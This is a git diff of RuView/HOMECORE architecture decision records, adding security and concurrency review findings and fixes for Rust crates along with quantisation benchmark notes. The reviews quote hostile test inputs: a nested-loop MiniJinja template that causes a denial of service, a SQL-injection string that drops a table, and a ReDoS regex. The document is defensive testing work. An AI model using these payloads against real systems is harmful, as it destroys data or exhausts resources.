+  neither rotation nor ≤4-bit multi-bit clears the strict-K 90% bar on
+  this distribution; the bar is met via the over-fetch "candidate set"
+  pattern this ADR specifies** (Decision §"the canonical pattern" — sketch
+  picks the candidate set, full precision refines). Full numbers and
+  reproduce commands in ADR-156 §10.
+- **Pre-existing `SketchBank::topk` bug fixed** — the `n > k` heap path
+  returned the k *farthest* sketches (min-heap mistaken for max-heap);
+  only the `n ≤ k` fast path had test coverage. Fixed + regression-pinned
+  (`topk_heap_path_returns_nearest`,
+  `tight_clusters_give_high_coverage_with_overfetch`). This makes every
+  prior top-K acceptance number in this ADR depend on the fixed path; the
+  ≥90% coverage criterion is only meaningful post-fix.
+
+## Pass 2b — RaBitQ unbiased distance estimator (ADR-156 §11, landed 2026-06)
+
+The **real** RaBitQ contribution (Gao & Long, SIGMOD 2024) — an
+**unbiased estimator of the inner product / distance** from the 1-bit
+code + per-vector side info, not just sign bits — is now implemented and
+**MEASURED against this ADR's ≥90% strict-K bar**:
+
+- **Implemented** — `crates/wifi-densepose-ruvector/src/estimator.rs`:
+  `EstimatorSketch` (Pass-2 sign code + 8 B/vec side info:
+  `residual_norm` + `x_dot_o = ⟨x̄, o'⟩`), `DistanceEstimator`
+  (`⟨o',q'⟩ ≈ ⟨x̄,q'⟩ / x_dot_o`, the paper's unbiased rescale), and
+  `EstimatorBank` reranking candidates by the estimate instead of raw
+  Hamming. **Zero-centroid simplification** (`c = 0`) documented;
+  paper-faithful centroid path also built (`with_centroid`). Additive —
+  Pass-1/Pass-2 and the wire format are unchanged.
+- **MEASURED strict-K coverage** (same fixture as §"Pass 2", cosine
+  ground truth): the estimator lifts the strict `candidate_k = K` bar
+  **46.39% (Pass-2 sign) → 49.71% (estimator, cosine rerank)** — a real
+  **+3.3 pp** lift, but **still ~40 pp short of the ≥90% strict bar.**
+  At over-fetch the estimator does better than sign (95.12% vs 91.60% at
+  candidate_k = 24). **Honest verdict: the unbiased estimator does NOT
+  clear the strict-K 90% bar on this distribution** — the binding
+  constraint is the 1-bit code's information ceiling, not estimator
+  variance. The ≥90% acceptance bar is still met only via the over-fetch
+  "candidate set" pattern this ADR's Decision specifies; the estimator
+  **reduces the over-fetch factor** needed but does not remove it. This
+  is a **published negative**, reported as such. Full numbers + reproduce
+  commands in ADR-156 §11.
+
 ## Open questions
 
 - **Does `BinaryQuantized` need a randomized rotation pre-pass for
-  RuView's embedding distributions?** Pure sign quantization assumes
-  zero-centered, isotropic embeddings. If AETHER / spectrogram
-  distributions are skewed (likely for spectrogram), add a
-  `randomized_rotation` pre-pass following the original RaBitQ paper
-  (Gao & Long, SIGMOD 2024). Decided after pass-1 benchmark.
+  RuView's embedding distributions?** **ANSWERED (ADR-156 §10):** rotation
+  is built and measured — it helps (+10pp at strict K) but is not
+  sufficient alone for strict-K 90% on the tested anisotropic
+  distribution; the over-fetch candidate-set pattern meets the bar.
+  Pure sign quantization assumes zero-centered, isotropic embeddings; the
+  rotation decorrelates anisotropic coords as the RaBitQ paper
+  (Gao & Long, SIGMOD 2024) prescribes.
 - **Sketch dimension target.** Default to the embedding's native
   dimension (128 for AETHER, 256 for spectrogram). Higher-dimensional
   sketches (Johnson-Lindenstrauss-projected to 512) trade compute for

docs/adr/ADR-116-cog-ha-matter-seed.md

@@ -104,6 +104,57 @@ Ranked by build cost × user impact:
 | **P9** | HACS integration repo (`hass-wifi-densepose`) for HA-side install path | pending |
 | **P10** | Witness bundle + CSA-style spec compliance check | pending |
 
+## 4.1 Crypto/security review notes (§2.2 witness chain — ADR-262 P2 prerequisite)
+
+Beyond-SOTA crypto+security review of the SHA-256 + Ed25519 witness chain
+(`witness.rs` / `witness_signing.rs`) and the manifest signature surface
+(`manifest.rs`), because ADR-262 P2 proposes to **reuse this exact signing
+chain**. Top priority was the sibling `wifi-densepose-engine` bug class —
+unframed boundary-to-boundary concatenation of operator-influenceable strings
+into a signed/hashed digest.
+
+- **Engine bug class ABSENT (good result, reported with byte evidence).**
+  `canonical_bytes` is `DOMAIN_TAG ‖ prev_hash[32] ‖ seq:u64-be ‖ ts:u64-be ‖
+  kind_len:u32-be ‖ kind ‖ payload_len:u32-be ‖ payload`. The two
+  variable-length operator-influenceable fields (`kind`, `payload`) are
+  **length-prefixed**; the fixed-width fields are self-delimiting → the
+  encoding is injective (no two distinct event tuples share a preimage). The
+  Ed25519 signature signs the **identical** bytes the SHA-256 chain commits to.
+  No separate unframed concatenation exists; the manifest `binary_signature`
+  is signed at build time (Makefile) over a single fixed-length `binary_sha256`
+  hex value, not in-crate.
+
+- **CHM-WIT-01 (FIXED) — domain-separation tag added.** The engine fix
+  prescribed *domain-tag + length-prefix*; length-prefix was present, the
+  domain tag was not. Added a versioned, NUL-terminated
+  `WITNESS_DOMAIN_TAG = b"cog-ha-matter/witness-event/v1\x00"` prefix so the
+  witness message can never be replayed as a message for another Ed25519
+  context that shares key infrastructure (notably the manifest signature).
+  **Witness bytes change by design** (prior on-disk hashes/signatures
+  invalidated, as with the engine fix); verified safe because no in-repo crate
+  consumes cog-ha-matter witness bytes programmatically (doc-mentions only).
+
+- **CHM-WIT-02 (HARDENED) — `verify_signature` now uses `verify_strict`.** For
+  an audit chain the signature is the attestation, so non-canonical encodings
+  and small-order keys are rejected (RFC 8032 strict), giving the "one
+  canonical signature per event" property. Not a forgery fix — the verifying
+  key is caller-pinned, never read from the event.
+
+- **Confirmed clean (with evidence):** verify-before-trust + key-pinning
+  (`verify_signature` takes the verifying key as a parameter; `read_jsonl`
+  re-derives every hash and chain-verifies); key handling (the crate never
+  generates/stores/logs/serializes a signing key — only a documented test-only
+  fixed seed; production keys come from the Seed secure store, out of scope);
+  determinism (positional bytes, deterministic Ed25519, alphabetically-locked
+  JSONL field order, sorted TXT records — no HashMap/float nondeterminism feeds
+  any digest); fail-closed parsing (structured errors, no panics; `main.rs`
+  reads no untrusted files/paths).
+
+Tests: `cog-ha-matter --no-default-features` 64 → **68**, 0 failed (CHM-WIT-01
+pinned by 4 fails-on-old tests across `witness.rs`/`witness_signing.rs`;
+CHM-WIT-02 guarded by a key-pinning test). Python deterministic proof
+unchanged (cog-ha-matter is off the signal proof path).
+
 ## 5. References
 
 - ADR-101 — `cog-pose-estimation` packaging precedent (signed binaries on GCS, .cog manifest)

docs/adr/ADR-127-homecore-state-machine-rust.md

@@ -190,4 +190,78 @@ The entity registry is a `RwLock<HashMap<EntityId, EntityEntry>>` backed by an a
 
 - `v2/crates/wifi-densepose-sensing-server/src/main.rs` — Axum + Tokio architecture pattern used throughout the existing server stack
 - `docs/adr/ADR-126-ruview-native-ha-port-master.md` — HOMECORE master; §5.5 crate naming; §6 compatibility contract; §5.1 RUVIEW-POLICY
+
+---
+
+## 9. Security & concurrency review (P1 core, beyond-SOTA sweep)
+
+Foundational review of the `homecore` crate — the state store + event bus +
+service/entity registries every other HOMECORE module trusts. Same rigor as
+the ADR-129/130/132/133/161 sibling reviews. **Three real fixes (one
+concurrency, two hardening), each pinned by a fails-on-old test; the bus-lag
+and lock-discipline dimensions confirmed clean with evidence.**
+
+- **HC-RACE-01 (state-set TOCTOU — lost / reordered `state_changed`, the
+  crux). FIXED.** `StateMachine::set` did `get()` (releasing the DashMap
+  shard lock) → compute the next snapshot + the no-op / `last_changed`
+  decision → `insert()` (re-acquiring the lock) → `send()`. The
+  read-modify-write was **not atomic** w.r.t. a concurrent writer on the
+  same entity, contradicting §2.1's promise that "the writer atomically
+  replaces the map entry." A writer that read a stale `old` could
+  mis-classify a genuine transition as a no-op and **drop its
+  `state_changed` event** (a missed automation trigger) or fire an event
+  whose `new_state` duplicated the previously delivered one (a spurious
+  trigger for any automation keyed on `old_state != new_state`). **Fix:**
+  hold the shard write-lock across the entire read→decide→insert→fire
+  sequence via `entry()`/`insert_entry()`; `tx.send` is non-blocking,
+  non-async, and never re-enters the map, so firing under the shard lock
+  cannot deadlock and keeps global event order in lock-step with global
+  commit order. Pinned by `concurrent_set_fires_no_duplicate_adjacent_events`
+  (4 writers toggling one entity A/B; asserts no two consecutive fired
+  events carry an identical `new_state` — impossible under correct
+  serialisation; a probe observed ~93k such duplicate-adjacent events across
+  200 trials on the racy code, zero on the fix).
+- **HC-EID-LEN-01 (unbounded `entity_id` — memory-DoS at the REST boundary).
+  FIXED.** `homecore-api/src/rest.rs` parses untrusted path segments
+  straight through `EntityId::parse`; with no length cap, an
+  otherwise-valid id (`a.` + many MB of `[a-z0-9_]`) was accepted and a
+  `POST /api/states/<giant>` would persist it into the DashMap state store
+  (permanent growth across distinct ids). **Fix:** reject ids longer than
+  `MAX_ENTITY_ID_LEN` (255, HA-compatible) up front in `parse()`, before any
+  per-char scan, with a new `EntityIdError::TooLong`; fail-closed at the
+  boundary type protects every caller. Pinned by `entity_id_length_boundary`
+  (exactly-MAX accepted, MAX+1 and a 4 MiB id rejected — fails on old code).
+- **HC-SVC-PANIC-01 (service-handler panic not isolated). HARDENED.**
+  `ServiceRegistry::call` already ran handlers outside the registry lock (no
+  `RwLock` poisoning, no blocking of other callers — clean), but a
+  panicking handler unwound through `call()` into the caller's task. **Fix:**
+  wrap the handler future in `AssertUnwindSafe` + `catch_unwind`, converting
+  a panic to `ServiceError::HandlerPanicked`; the registry stays fully
+  usable. Pinned by `panicking_handler_is_isolated_and_registry_survives`.
+
+**Dimensions confirmed clean (with evidence):**
+
+- **Event-bus bounds / lag (same class as the homecore-api WS lag-DoS).**
+  Both `StateMachine` and `EventBus` use bounded `tokio::sync::broadcast`
+  (capacity 4,096). A slow subscriber gets a recoverable `Lagged(n)`
+  (drop-oldest + re-sync); `fire_*` is non-blocking and **never waits on
+  slow receivers**, so a lagging subscriber cannot block the publisher, grow
+  the channel without bound, or take down a fast subscriber. Evidenced by
+  `slow_subscriber_does_not_block_publisher_or_kill_the_bus` (fire 3×
+  capacity at an idle subscriber; publisher unblocked, bus stays live).
+- **Lock ordering / lock-across-await (deadlock).** No code path holds two
+  of `{state DashMap, registry RwLock, service RwLock}` simultaneously, so
+  no inconsistent-ordering deadlock can exist. Every `tokio::sync::RwLock`
+  guard in `registry.rs`/`service.rs` is used in a single synchronous
+  statement and dropped before any `.await`; `call` explicitly scopes the
+  read guard out before awaiting the handler. The only guard held across a
+  send is the DashMap shard lock in `set`, across a synchronous
+  (non-await) broadcast send — safe.
+- **Panic-on-input.** No reachable `unwrap`/`expect`/index in non-test code
+  beyond the safe `send().unwrap_or(0)` and the dead-but-harmless
+  `split_once(...).unwrap_or(...)` fallbacks on already-validated ids.
+
+`cargo test -p homecore --no-default-features`: **20 → 24 passed, 0 failed**
+(+4 pins). Workspace green; Python deterministic proof unchanged
+(`f8e76f21…46f7a`, bit-exact — `homecore` is off the signal proof path).
 - `docs/adr/ADR-028-esp32-capability-audit.md` — witness chain pattern (Ed25519 per state transition)

docs/adr/ADR-129-homecore-automation-engine.md

@@ -190,6 +190,23 @@ This is the same Wasmtime host already used for integration plugins (ADR-128)
 
 ---
 
+## 8a. Security review (beyond-SOTA sweep, post ADR-154–159)
+
+A focused security review of `homecore-automation` (the execution/eval surface — triggers → conditions → actions, with templates) was run after the ADR-154–159 sweep, applying the same rigor that the sibling engine/bfld/calibration/vitals/geo reviews used. **Two real DoS findings, each pinned by a fails-on-old test; the condition-bypass, fail-closed-parsing, and action-authorization dimensions were probed and found clean.**
+
+- **HC-SEC-01 (template-injection / unbounded-expansion DoS, HIGH) — FIXED.** A `template:` condition / `value_template` is user automation config, and was rendered with MiniJinja's defaults: **no instruction budget, no output cap**. A single condition such as `{% for i in range(5000) %}{% for j in range(5000) %}xxxx{% endfor %}{% endfor %}` rendered a **100 MB string over ~11 s on one render call** (measured) — a CPU/memory denial of service (the bfld-class "unbounded expansion"; MiniJinja's per-call `range()` 10k cap does **not** stop nested loops). **Fix:** enable MiniJinja's `fuel` feature and set a per-render budget (`set_fuel(Some(1_000_000))`) so a nested loop burns one unit per iteration — the attack now fails fast (~90 ms) with "engine ran out of fuel"; plus a 64 KiB source-length cap rejecting pathological sources before compilation. Legitimate HA templates (a few dozen instructions) are unaffected. Pinned by `nested_loop_template_is_bounded_not_unbounded_dos`, `single_huge_repeat_template_is_bounded`, `oversized_template_source_is_rejected` (all fail-on-old: unbounded render / no rejection), and `legitimate_template_still_renders_within_fuel` (no regression).
+- **HC-SEC-02 (panic-on-config DoS, MEDIUM) — FIXED.** `Action::Delay { seconds }` and `Action::WaitForTrigger { timeout_seconds }` fed the user-supplied float straight into `Duration::from_secs_f64`, which **panics** on negative, NaN, infinite, or overflowing inputs — all reachable from a crafted (or typo'd) YAML (`delay: {seconds: -1}`, `.nan`, `.inf`, `1e308`). One hostile config aborts the spawned automation run task with a panic (measured: "cannot convert float seconds to Duration: value is negative"). **Fix:** a `safe_duration_from_secs` guard that saturates instead of panicking (NaN/±inf/negative → `Duration::ZERO`, matching HA's lenient "non-positive delay = no delay"; absurdly large → clamped to ~100 years). Pinned by `delay_negative_seconds_does_not_panic`, `delay_nan_seconds_does_not_panic`, `delay_infinite_seconds_does_not_panic`, `wait_for_trigger_negative_timeout_does_not_panic`, `safe_duration_saturates_hostile_values` (incl. overflow clamp).
+
+**Dimensions confirmed clean (with evidence):**
+- **Condition bypass / fail-closed eval** — a `Condition::Template` whose render errors evaluates to `false` (`condition.rs` `Err(_) => false`), and a `Choose` branch condition that fails to deserialize is treated as **non-matching** (the branch is skipped), not silently passing (`action.rs` `ChoiceBranch::matches` `Err(_) => return false`). Both fail **closed** (do-not-run), confirmed by the existing `choose_*` tests and template-false-blocks-action behavioral test. No true-by-default-on-parse-error path found.
+- **Re-entrancy / livelock (DoS)** — run-mode machinery is bounded and tested: `Single`/`IgnoreFirst` re-entrancy guard, `Restart` cancel-and-replace, `Queued` FIFO serialization, and `max: N` semaphore cap (ADR-162; `restart_mode_cancels_prior_run`, `queued_mode_runs_sequentially_not_concurrently`, `max_two_caps_concurrency_at_two`, `single_mode_does_not_double_fire_on_rapid_triggers`). A self-triggering automation does not livelock the engine — each fire is bounded by its run-mode.
+- **Action authorization** — templates are read-only sandboxed (`states`/`state_attr`/`is_state`/`now` globals; no service-call or state-set global is exposed to template scope), so a template cannot escalate into an action. Service authorization itself is enforced at the `homecore` service-registry boundary (out of this crate's scope); no gap found in what the automation crate enforces.
+- **Panic-on-config (parse)** — `serde_yaml`/`serde_json` deserialization returns structured `AutomationError` (no `unwrap`/`expect`/index reachable from a crafted config in the eval/exec path); the only remaining panic surface was the `from_secs_f64` path fixed as HC-SEC-02.
+
+Validation: `cargo test -p homecore-automation --no-default-features` → 54 passed / 0 failed (+14 over baseline). Python deterministic proof unchanged (homecore-automation is off the signal-processing proof path).
+
+---
+
 ## 9. References
 
 ### HA upstream

docs/adr/ADR-132-homecore-recorder-history-semantic-search.md

@@ -120,6 +120,42 @@ tested; P3 is planned.
   HOMECORE-API (ADR-130, P3); automation conditions on historical state are
   HOMECORE-automation (ADR-129, P3).
 
+## 3a. Security review (2026-06, post-ADR-154–159 sweep)
+
+A beyond-SOTA security review of `homecore-recorder` covered SQL injection, retention/purge
+correctness, fail-closed write integrity, semantic-store NaN poisoning, and PII exposure.
+
+**Confirmed clean (with evidence):**
+
+- **SQL injection — clean.** Every query in `db.rs` uses bound `?` parameters; no user- or
+  entity-influenceable value is interpolated into SQL via `format!`/concatenation. The only
+  `format!` builds the `LIKE` *pattern* string, which is itself **bound** as a parameter with
+  `ESCAPE '\\'` and `% _ \` escaping — so a metacharacter payload is matched literally. Pinned
+  by `malicious_entity_id_is_stored_literally_not_executed` (a `'; DROP TABLE states; --` state
+  value leaves the table intact and round-trips verbatim) and
+  `like_metacharacters_in_query_are_literal_not_wildcards`.
+- **NaN-index poisoning — structurally impossible.** Embeddings are SHA-256 → `i32` →
+  `f32`; an `i32`→`f32` cast is always finite (never NaN/Inf), and an all-zero-digest is
+  guarded by the `norm > 1e-10` check. Empty-index search, empty-string query, and `k=0` were
+  probed and all return `Ok(0)` with no panic. (Unlike the calibration/vitals/geo paths, no raw
+  sensor float ever reaches the index.)
+- **Fail-closed writes.** A removal event returns `Ok(None)`; semantic-index failure is logged,
+  not propagated, so it never blocks the durable SQLite write; `EntityId` parse failure falls
+  back to a sentinel rather than panicking.
+
+**Fixed (real bounding bugs):**
+
+- **Memory-DoS — `get_state_history` was unbounded.** No `LIMIT`, so a wide time window over a
+  high-frequency entity loaded an unbounded row set into memory. Now capped at
+  `MAX_HISTORY_ROWS` (1,000,000); sibling search paths were already `k`-bounded.
+- **Disk-DoS / documented-but-missing `purge`.** The README advertised `Recorder::purge`, but
+  no retention path existed → unbounded disk growth. Added a **transactional** `purge(older_than)`
+  with an **exclusive** cutoff (idempotent, no off-by-one) that deletes old `states`/`events` and
+  GCs orphaned `state_attributes` blobs (dedup-shared blobs kept until their last referrer is gone).
+
+`homecore-recorder` tests: 19 → 25 (`--no-default-features`) / 25 → 31 (`--features ruvector`),
+0 failed. Python deterministic proof unchanged (recorder is off the signal proof path).
+
 ## 4. Links
 
 - Crate: `v2/crates/homecore-recorder/` — `Cargo.toml`, `README.md`, `src/lib.rs`,

docs/adr/ADR-133-homecore-assist-ruflo.md

@@ -174,3 +174,71 @@ vs. an in-memory array at compile time), which intersects with ADR-084 (RabitQ)
 | **P1** (this ADR) | `intent`, `recognizer` (regex), `handler` (5 built-ins), `runner` (trait + noop), `pipeline` (end-to-end wiring), 10–15 tests |
 | **P2** | Real `tokio::process::Child` runner with Windows-safe teardown; `SemanticIntentRecognizer` with ruvector HNSW |
 | **P3** | STT/TTS bridge, satellite protocol, cloud fallback |
+
+---
+
+## 6. Security review (beyond-SOTA, untrusted-input → action path)
+
+A focused security review of the Assist pipeline — `utterance → recognizer →
+intent → handler → action`, plus `RufloRunner` — treating the utterance as
+untrusted input (voice transcripts, the WebSocket `assist` command). This
+surface was not covered by the ADR-154–159 sweep.
+
+### 6.1 Finding fixed — HC-ASSIST-01 (unbounded-utterance DoS, LOW)
+
+Both `RegexIntentRecognizer::recognize` and the semantic `recognize_scored`
+accepted utterances of **unbounded length** and ran `to_lowercase()` (a full
+clone) + a per-registered-pattern scan (and, in the semantic path, full
+tokenisation + feature-hash embedding) before any bound — an allocation/CPU
+amplification on attacker-controlled input. The `regex` crate is **linear-time**
+(RE2-style finite automaton, no catastrophic backtracking), so this was a
+throughput/memory DoS, not a hang.
+
+**Fix:** `MAX_UTTERANCE_BYTES = 4096` (far above any real spoken command),
+checked at **both** recognizer boundaries *before* any allocation/scan. An
+over-length utterance **fails closed** to `Ok(None)` — no intent, no action,
+identical to an unrecognised phrase — so it can never be coerced into firing a
+handler. Pinned by `over_length_utterance_fails_closed` (an over-length
+utterance that *contains* a valid command resolves to `None`, which would have
+matched on the old code) and `over_length_utterance_fails_closed_semantic`.
+
+### 6.2 Dimensions confirmed clean (with evidence)
+
+- **Command / argument injection — NO SUBPROCESS SURFACE.** The `RufloRunner`
+  has exactly two impls: `NoopRunner` (no process) and `LocalRunner` (runs the
+  local recognizer, no process). There is **no** `std::process` / `tokio::process`
+  / `Command` / process `.spawn()` anywhere in the crate — the trait `spawn` is
+  only a `started: bool` lifecycle flag — and `RufloRunnerOpts.{script_path,env}`
+  are **inert data, never consumed**. The live `node ruflo-agent.js` runner is
+  genuinely data-gated/future (P2). Defence-in-depth: the `entity_id` capture
+  class `[a-z_][a-z0-9_ .]*` **excludes every shell/SQL metacharacter**, so even
+  when an injection-shaped utterance resolves (the regex is not exact-anchored),
+  the captured slot is a clean token — sanitisation by construction. Pins:
+  `shell_metachars_never_survive_into_a_resolved_slot`,
+  `runner_opts_are_inert_no_process_spawned`,
+  `pipeline_injection_shaped_utterance_carries_no_metachars_to_service`.
+- **ReDoS — STRUCTURALLY IMPOSSIBLE.** `regex 1.12.3` (no `fancy-regex` in the
+  dependency tree) is linear-time; a classic `(a+)+$` shape on adversarial input
+  completes in bounded time. Pin:
+  `pathological_backtracking_pattern_completes_in_bounded_time`. Patterns are
+  operator-registered, not user-supplied, in any case.
+- **NaN-poisoning — EMBEDDINGS STRUCTURALLY FINITE.** The embedding path takes
+  only `&str` and produces values via FNV feature-hashing + a guarded L2
+  normalise (`norm > 1e-12`); no external float input, no unguarded division, so
+  a crafted utterance cannot inject NaN/Inf to poison the cosine k-NN. Cosine
+  against the zero vector is a finite `0.0`; an empty index `max_by` returns
+  `None` (no panic); the NaN-safe `partial_cmp().unwrap_or(Equal)` is already in
+  place. Pins: `embeddings_are_structurally_finite`,
+  `cosine_with_zero_vector_is_finite_not_nan`,
+  `empty_utterance_against_empty_index_no_panic_no_match`.
+- **Intent confusion / fail-closed.** An unrecognised utterance → `not_understood()`
+  (no service call); a recognised intent with no registered handler →
+  `not_understood()`; semantic below-threshold / empty-index → regex fallback.
+  No default high-privilege intent, no fail-open path.
+- **Panic-on-input.** No `unwrap`/`expect`/index reachable from a crafted
+  utterance; the one `exemplars[id]` index uses an `id` from `enumerate()` over
+  the append-only exemplar `Vec` (no remove API), so it is always in bounds.
+
+`cargo test -p homecore-assist --no-default-features`: **29→36, 0 failed** (+7);
+default/`semantic`: **39→48, 0 failed** (+9). Python deterministic proof
+unchanged (homecore-assist is off the signal proof path).

docs/adr/ADR-137-fusion-engine-quality-scoring-evidence.md

@@ -495,3 +495,34 @@ Rejected. `ViewpointFusionEvent` (viewpoint/fusion.rs lines 183–219) is an int
 **Integration glue -- not yet on the live path:** emission of `CalibrationIdMismatch` / `DriftProfileConflict` / `PhaseAlignmentFailed` once `calibration_id` propagation and the phase-align convergence signal are threaded onto frames; the BFLD witness record emitted on privacy demotion.
 
 **Trust contribution:** sensor *agreement made explicit* -- fusion records the evidence it relied on, and any disagreement automatically tightens the downstream privacy class.
+
+---
+
+## Witness Integrity Review (2026-06-14) — domain-separation fix
+
+A beyond-SOTA security review of `wifi-densepose-engine` (the composition root
+that builds the §2.7 trust witness in `witness_of`) found a real **witness
+domain-separation gap**, now fixed.
+
+**Finding (witness-gap, HIGH).** `witness_of` concatenated `model_version`,
+`calibration_version`, and `privacy_decision` boundary-to-boundary, and the
+variable-length `evidence` list carried no explicit count. A string straddling a
+field boundary therefore collided with a *different* trust decision —
+e.g. a per-room adapter id (ADR-150 §3.4, operator-influenceable) that absorbs
+the leading bytes of the calibration epoch (`model="…cal:00a"`, `cal="b"`)
+produces the **same** witness as `model="…"`, `cal="cal:00ab"`. Two distinct
+privacy-relevant input tuples → one witness defeats the "any privacy-relevant
+delta → different witness" guarantee this ADR's §2.7 witness exists to provide.
+
+**Fix.** The witness now (a) prepends a domain tag `ruview.engine.witness.v1`,
+(b) writes an explicit 8-byte evidence count, and (c) **length-prefixes every
+field** (8-byte LE length ‖ bytes), so field framing is unambiguous regardless
+of contents. This is a witness-layout change (all prior witness bytes are
+invalidated by design); downstream consumers only assert witness *relationships*
+(`assert_ne`/`assert_eq` across runs), not absolute bytes, so nothing breaks.
+
+Pinned by `witness_distinguishes_model_calibration_boundary` and
+`witness_distinguishes_evidence_model_boundary` (both fail on the old
+concatenation). Witness **determinism** was reviewed and confirmed clean: no
+HashMap iteration and no float formatting feed the hash (floats appear only in
+the `SemanticState` statement, which is outside the witness).

docs/adr/ADR-141-bfld-privacy-control-plane-modes-attestation.md

@@ -599,3 +599,53 @@ Per ADR-028/ADR-010, three rows are added to the witness log:
 **Integration glue -- not yet on the live path:** wiring the registry into `PrivacyGate` class transitions, the MQTT discovery payload, and a read-only Home Assistant diagnostic entity exposing the active mode + proof hash.
 
 **Trust contribution:** the *policy spine* -- privacy posture is a tamper-evident, auditable chain rather than a checkbox; an operator's mode choice actively governs whether identity data may even exist.
+
+---
+
+## Privacy Monotonicity Review (2026-06-14) — confirmed clean
+
+A beyond-SOTA security review of the governed-trust cycle
+(`wifi-densepose-engine::StreamingEngine::process_cycle_calibrated`) examined
+the privacy-demotion path this ADR governs. **The monotonicity invariant holds:
+demotion only ever makes the emitted class more restrictive, never less.**
+
+Verification (no behaviour change, the result is a clean bill with evidence):
+
+- Each cycle computes `effective_class` fresh from the active mode's
+  `target_class()` (the floor) and applies at most a **single-step** demotion
+  (`demote_one`, clamped at `Restricted`). There is no cross-cycle state that
+  could let a permissive class overwrite a restrictive one.
+- A forced contradiction (calibration mismatch / array-geometry insufficiency /
+  mesh partition risk, ADR-032) raises the class byte; a clean cycle emits
+  exactly the base class.
+- Pinned by `forced_contradiction_never_relaxes_class`, a property test over
+  **all five** `PrivacyMode`s asserting `effective_class.as_u8() >=
+  base_class.as_u8()` (strictly greater unless already clamped at `Restricted`)
+  under a forced contradiction, and `== base` on a clean cycle.
+
+Fail-closed boundaries were also pinned: an empty cycle errors (no degenerate
+over-permissive output, `empty_cycle_fails_closed`) and the single-node boundary
+is characterized as a valid non-demoting mode (`single_node_cycle_is_well_formed`).
+
+The related witness domain-separation fix from the same review is recorded in
+ADR-137 (the witness folds `effective_class`, so the demotion is auditable).
+## Security & Privacy Review (2026-06-14)
+
+Beyond-SOTA privacy+security review of `wifi-densepose-bfld` (the crate was not in the ADR-154–159 sweep). Two real bugs fixed (each pinned by a fails-on-old test), several dimensions confirmed clean.
+
+### Findings
+
+| # | Severity | Site | Issue | Fix | Pinned by |
+|---|----------|------|-------|-----|-----------|
+| 1 | **privacy-bypass (HIGH)** | `pipeline.rs::process_to_frame` | The documented wire-bytes production path stamped the frame header with the active `PrivacyClass` but serialized the caller's `BfldPayload` **unchanged** via `BfldFrame::from_payload` — never routing through `PrivacyGate::demote`. A frame labeled `Anonymous`(2)/`Restricted`(3) carried the full `compressed_angle_matrix` (identity surface) + amplitude/phase + `csi_delta`. A `NetworkSink` accepts class ≥ `Derived`(1), so the identity surface could cross the node boundary despite the restrictive class byte — the byte lied about content. | Apply `PrivacyGate::demote(frame, active_class)` after construction: a same-class transition that strips the sections the class forbids; `Raw`/`Derived` keep the full payload. | `tests/pipeline_to_frame.rs::process_to_frame_at_anonymous_strips_identity_leaky_sections`, `…_in_privacy_mode_strips_amplitude_and_phase` (both FAILED pre-fix); `…_at_derived_preserves_full_payload` (over-strip guard) |
+| 2 | **PII/injection (MEDIUM)** | `mqtt_topics.rs::render_events` | `zone_activity` payload built as `format!("\"{zone}\"")` with no JSON escaping (while `ha_discovery.rs` already escapes). A zone name with `"`/`\` produced malformed/injectable JSON on the HA state topic. | `json_string_literal()` escaper mirroring `ha_discovery::push_str_field`. Value-identical for normal zone names. | `tests/mqtt_topic_routing.rs::zone_payload_escapes_json_metacharacters` (FAILED pre-fix) |
+
+### Dimensions confirmed clean (with evidence)
+
+- **Event-field privacy gating** — `BfldEvent::apply_privacy_gating` nulls `identity_risk_score` + `rf_signature_hash` at `Restricted`, and `serde(skip_serializing_if = "Option::is_none")` omits them entirely. `render_events`/`render_discovery_payloads` refuse class < `Anonymous` (stricter than the `sink.rs` `NetworkKind` `MIN_CLASS = Derived` — defense in depth toward less leakage). Covered by `event_privacy_gating.rs`, `mqtt_topic_routing.rs`, `ha_discovery.rs`.
+- **Witness/hash framing (the engine `witness_of` bug class)** — CLEAN. `SignatureHasher::compute` prefixes a **fixed 4-byte** `day_epoch` then a **fixed-width canonical-f32** feature block (`IdentityFeatures`: Embedding = `EMBEDDING_DIM*4`, RiskFactors = 16 B). `PrivacyAttestationProof::compute` hashes a fixed 32-byte `prev_hash` + three fixed 1-byte values. No variable-length operator-influenceable string is concatenated into any digest — no length-prefix-framing collision is possible.
+- **Fail-closed** — `payload.rs::from_bytes` rejects truncated/overflowing/trailing-byte sections (`checked_add`, bounds checks); `frame.rs::from_bytes` validates magic/version/length/CRC; `PrivacyClass::try_from` rejects unknown bytes; `identity_risk::score` maps NaN/degenerate factors → 0.0 (privacy-conservative). The `from_score(NaN) → Accept` choice is a documented, deliberate publish-aggregate-only fallback (NaN never reaches it from `score()`); risk-driven NaN cannot leak identity because identity gating is class-byte-driven, not risk-driven.
+
+### Observation (not a bug)
+
+The ADR-141 control plane (`PrivacyMode`/`PrivacyModeRegistry`) is **not yet wired into the emit path** — the emitter/pipeline enforce the raw `PrivacyClass` directly; the registry is exported + unit-tested but advisory. This matches the "Integration glue — not yet on the live path" status above. The class-byte enforcement (emitter + event + renderers + the now-fixed `process_to_frame`) is the live guarantee. Wiring the registry is the documented next step.

docs/adr/ADR-148-drone-swarm-control-system.md

@@ -9,8 +9,10 @@
 | Relates to | ADR-134, ADR-136, ADR-139, ADR-140, ADR-143, ADR-144, ADR-146, ADR-147                |
 
 > **Scope note:** ADR-147 deferred Cosmos WFM to "ADR-148" as an offline data generator.
-> That item is promoted to ADR-149. This ADR takes 148 to address the broader drone swarm
-> control architecture, which is the first consumer of ADR-147's OccWorld occupancy output.
+> That item is promoted to ADR-171 (the swarm-benchmarking/evaluation companion to this ADR;
+> renumbered from ADR-149 to resolve the ADR-149 duplicate-number collision). This ADR takes
+> 148 to address the broader drone swarm control architecture, which is the first consumer of
+> ADR-147's OccWorld occupancy output.
 
 ---
 
@@ -874,9 +876,9 @@ validated; ITAR/EAR classification completed by export counsel.
 | GPS spoofing of full swarm simultaneously | Medium | Low | UWB mesh cross-check among all nodes; ≥ 3 nodes must agree on position to confirm |
 | 1000-UAV scale claims (not validated) | Low | High | SWARM+ demonstrated in simulation only; scale claims capped at 50 for production targets |
 
-### 12.3 Open Issues (Forward to ADR-149)
+### 12.3 Open Issues (Forward to ADR-171)
 
-- Cosmos WFM offline training data generation (deferred from ADR-147) — ADR-149
+- Cosmos WFM offline training data generation (deferred from ADR-147) — ADR-171
 - Fixed-wing hybrid platform support (endurance missions) — future ADR
 - Underwater-aerial cross-domain handoff protocol — future ADR
 - Quantum-enhanced task assignment (E6) — future ADR when hardware matures
@@ -998,4 +1000,4 @@ Implementation tracked at: https://github.com/ruvnet/RuView/issues/861
 
